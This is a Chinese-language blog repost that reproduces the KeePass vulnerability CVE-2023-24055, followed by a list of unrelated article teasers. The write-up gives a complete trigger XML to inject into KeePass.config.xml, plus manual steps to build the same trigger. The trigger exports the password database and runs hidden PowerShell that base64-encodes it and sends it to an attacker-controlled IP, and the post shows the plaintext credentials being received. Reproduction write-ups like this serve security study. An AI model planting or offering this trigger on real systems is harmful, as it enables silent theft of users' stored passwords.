KeePass敏感信息明文传输漏洞复现 (CVE-2023-24055)

news2024/9/21 19:44:39

一、漏洞描述

漏洞简述

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

漏洞影响范围

供应商:KeePass

产品:KeePass Password Safe 2

确认受影响版本:KeePass 2.53版本

修复版本:KeePass 2.53.1版本

二、漏洞复现实战

环境搭建

Step 1 KeePass 2.53

KeePass 版本

下载地址:https://keepass.info/

Step 2 KeePass翻译语言包

下载地址:https://keepass.info/translations.html

将语言包文件复制至安装路径下“Languages”文件夹下

翻译语言包

在KeePass中进入语言设置,切换语言

切换语言

漏洞复现

根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:

(1)POC写入配置文件

将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。

其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。

利用powershell以GET方式传输数据库中密码文件。

POC

	<TriggerSystem>	
	<Triggers>
				<Trigger>
					<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
					<Name>exploit</Name>
					<Events>
						<Event>
							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
							<Parameters>
								<Parameter>0</Parameter>
								<Parameter />
							</Parameters>
						</Event>
					</Events>
					<Conditions />
					<Actions>
						<Action>
							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
							<Parameters>
								<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
								<Parameter>KeePass XML (2.x)</Parameter>
								<Parameter />
								<Parameter />
							</Parameters>
						</Action>
						<Action>
							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
							<Parameters>
								<Parameter>PowerShell.exe</Parameter>
								<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter>
								<Parameter>False</Parameter>
								<Parameter>1</Parameter>
								<Parameter />
							</Parameters>
						</Action>
					</Actions>
				</Trigger>
			</Triggers>			
			</TriggerSystem>

修改KeePass config xml

保存KeePass.config.xml文件,触发器功能查看exploit触发器

(2)通过触发器功能手工创建触发器

以官方触发器构成为参考

https://keepass.info/help/kb/trigger_examples.html

exploit触发器配置如下:

属性项:命名为exploit,其余默认配置

触发器属性

事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)

触发器事件

条件项:为空

触发器条件

操作项

  1. 导出当前数据库

文件路径为上述文件传输路径

文件格式选择 KeePass XML (2.x)

  1. 执行命令行/URL

文件路径为PowerShell.exe ,使触发器执行PowerShell

参数选择攻击接收的路径

窗口方式选择Hidden

触发器操作

完成创建,可以看到exploit触发器

在攻击机 创建web服务,后续接收传输后的密码明文;

在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息

添加记录

收到明文传输内容

进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。

base64解码后结果

漏洞修复

建议更新至KeePass 2.53.1 版本

结束语

本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/359573.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python元类编程

1.1.propety动态属性 在面向对象编程中&#xff0c;我们一般把名词性的东西映射成属性&#xff0c;动词性的东西映射成方法。在python中他们对应的分别是属性self.xxx和类方法。但有时我们需要的属性需要根据其他属性动态的计算&#xff0c;此时如果直接使用属性方法处理&…

复习C语言过程中的总结与思考(万字长文 + 思维导图,强烈建议收藏)

内容长文&#xff0c;多图预警&#xff01;&#xff01;&#xff01;一、C语言的数据类型和读取标准1. C语言中整数型**常量**的数据类型为int类型&#xff0c;例子如下&#xff1a;2. C语言中浮点数型常量的数据类型为double类型二、C语言中的输入输出及位运算符1、scanf函数缓…

关于微服务架构的思考

引言 众所周知微服务已经经过了炒作周期的兴奋阶段&#xff0c;但并不是说它现在过时了。微服务架构算是笔者过往印象比较深的项目之一。并且&#xff0c;即使作为行业的最佳实践&#xff0c;但也能看到各种各样失败的案例。所以今天想跟大家分享一下关于微服务相关深度思考的…

【服务器数据恢复】多块磁盘离线导致RAIDZ崩溃的数据恢复案例

服务器数据恢复环境&#xff1a; SUN ZFS系列某型号存储阵列&#xff1b; 40块磁盘组建的存储池&#xff08;其中4块磁盘用作全局热备盘&#xff09;&#xff0c;池内划分出若干空间映射到服务器使用&#xff1b; 服务器使用Windows操作系统。 服务器故障&#xff1a; 服务器在…

一文讲解thop库计算FLOPs问题

问题 计算模型的FLOPs及参数大小 FLOPS是处理器性能的衡量指标&#xff0c;是“每秒所执行的浮点运算次数”的缩写。 FLOPs是算法复杂度的衡量指标&#xff0c;是“浮点运算次数”的缩写&#xff0c;s代表的是复数。 一般使用thop库来计算&#xff0c;GitHub&#xff1a; h…

c++ 那些事 笔记

GitHub - Light-City/CPlusPlusThings: C那些事 1. ① extern extern关键字&#xff0c;C语言extern关键字用法详解 如果全局变量不在文件的开头定义&#xff0c;其有效的作用范围只限于其定义处到文件结束。如果在定义点之前的函数想引用该全局变量&#xff0c;则应该在…

45个写规范代码的小技巧

目录 1、规范命名 2、规范代码格式 3、写好代码注释 4、try catch 内部代码抽成一个方法 5、方法别太长 6、抽取重复代码 7、多用return 8、if条件表达式不要太复杂 9、优雅地参数校验 10、统一返回值 11、统一异常处理 12、尽量不传递null值 13、尽量不返回null值…

BN、SyncBN、IN、LN、GN学习记录

1 BatchNormBN的原理BN是计算机视觉最常用的标准化方法&#xff0c;它沿着N、H、W维度对输入特征图求均值和方差&#xff0c;随后再利用均值和方差来归一化特征图。计算过程如下图所示&#xff0c;1&#xff09;沿着通道维度计算其他维度的均值&#xff1b;2&#xff09;沿着通…

numpy入门

目录&#xff1a; numpy数据类型numpy维度numpy常用操作 numpy数据类型 numpy的数据类型是numpy.ndarray&#xff0c;它不同于python的array.array&#xff0c;ndarray可以处理多维数据。ndarray的常见属性有dtype&#xff0c;shape&#xff0c;size等&#xff0c;在进行一些…

接口自动化测试框架-Python+Requests+Yaml

零代码极限封装的【接口自动化测试框架】&#xff0c;目前已经完全能够实现真正的零代码落地并在企业中推广。其中用到的最核心的封装技术如下&#xff1a;核心技术1.热加载封装,是全网最早应用于自动化测试框架的封装技术。2.Requests统一请求封装3.接口关联封装以及接口关联封…

微服务03 分布式搜索引擎 elasticsearch ELK kibana RestAPI RestClient

分布式搜索引擎01-- elasticsearch基础0.学习目标1.初识elasticsearch1.1.了解ES1.1.1.elasticsearch的作用elasticsearch是一款非常强大的开源搜索引擎&#xff0c;具备非常多强大功能&#xff0c;可以帮助我们从海量数据中快速找到需要的内容例如&#xff1a;在GitHub搜索代码…

【Python】带你进入字典的世界

如约而至&#xff0c;紧接着上一期文章&#xff0c;小编将会陆续把全套的Python笔记将依次发放给大家&#xff0c;便于大家学习Python、期末备考、巩固基础等(这几期是公众号小插曲&#xff0c;后期发放编程技术的话主要还是会围绕Java来展开~感谢大家支持)字典字典是Python内置…

鸿翼企业网盘 激活企业协作办公

信息化的发展&#xff0c;使企业网盘成为了许多企业必备的“数字基础设施”。鸿翼企业网盘&#xff0c;让网盘不仅是数据存储的“仓库”&#xff0c;更是数据利用的“中枢”&#xff0c;以网盘为载体&#xff0c;激活企业“协作力”。 企业网盘起初是为了解决企业内数据统一存储…

基于SpringBoot+MyBaits_Vue+ElementUi构建项目

基于SpringBootMyBaits_VueElementUi构建项目 1.Spring Boot 后台搭建 1.1.项目初始化 前期准备&#xff1a;maven&#xff0c;jdk&#xff08;1.8&#xff09;&#xff0c;idea 1.1.1.下载地址 Spring官方提供了Springboot自定义配置地址&#xff0c;可依照相关选项搭建所…

6.4 实战:实现 Web API 版本控制

第6章 构建 RESTful 服务 6.1 RESTful 简介 6.2 构建 RESTful 应用接口 6.3 使用 Swagger 生成 Web API 文档 6.4 实战&#xff1a;实现 Web API 版本控制 6.4 实战&#xff1a;实现 Web API 版本控制 如果业务需求变更&#xff0c;Web API 功能发生变化时应该如何处理呢&…

易错:List中的add方法添加对象时出现重复的问题

错误&#xff1a; 用list存储User对象信息&#xff0c;当存储多个对象时&#xff0c;发现存储的数据都是一样的 之前代码&#xff1a; User user new User();List<User> list new ArrayList<>();for (int i 0; i < 5; i) {user.setName("Tom"i);…

drf-yasg —— Django REST Framework 文档生成

drf-yasg —— Django REST Framework 文档生成 drf-yasg 安装及全局配置 安装以及这个官方文档非常详细的描述了&#xff0c;我就不多说了。 配置好并运行 Django 项目以后&#xff0c;就可以使用浏览器访问 /swagger/ 和 /redoc/ &#xff08;链接取决于你的 urls 的配置&am…

看见统计——第五章 统计推断:贝叶斯学派

看见统计——第五章 统计推断&#xff1a;贝叶斯学派 引言 推理的频率学派认为&#xff0c;概率在本质上是与频率联系在一起的。这种解释实际上是很自然的。按照频率学派的说法&#xff0c;一枚公平的硬币出现人头的概率是1/2。简单地说&#xff0c;在同一个硬币的无限次独立…

打造一款日志分析工具

一、简介 作为一名安全从业者&#xff0c;网络安全事件的应急响应工作是必不可少的&#xff0c;那么在应急支撑时&#xff0c;针对大量的日志数据便需要借助自动化工具实现快速的归类检测&#xff0c;并提取出所需的关键日志数据。本篇文章主要通过利用python语言编写一款web日…

自带超多工具,好用又免费,这3款手机浏览器你用过了吗

手机浏览器是我们手机中必备的一款软件APP&#xff0c;一款好用的浏览器&#xff0c;可以帮助我们提高工作效率&#xff0c;节省时间。对于懒癌患者来说&#xff0c;手机上安装各种各种的app很麻烦&#xff0c;下面给大家介绍自带超多的工具&#xff0c;好用且免费的浏览器&…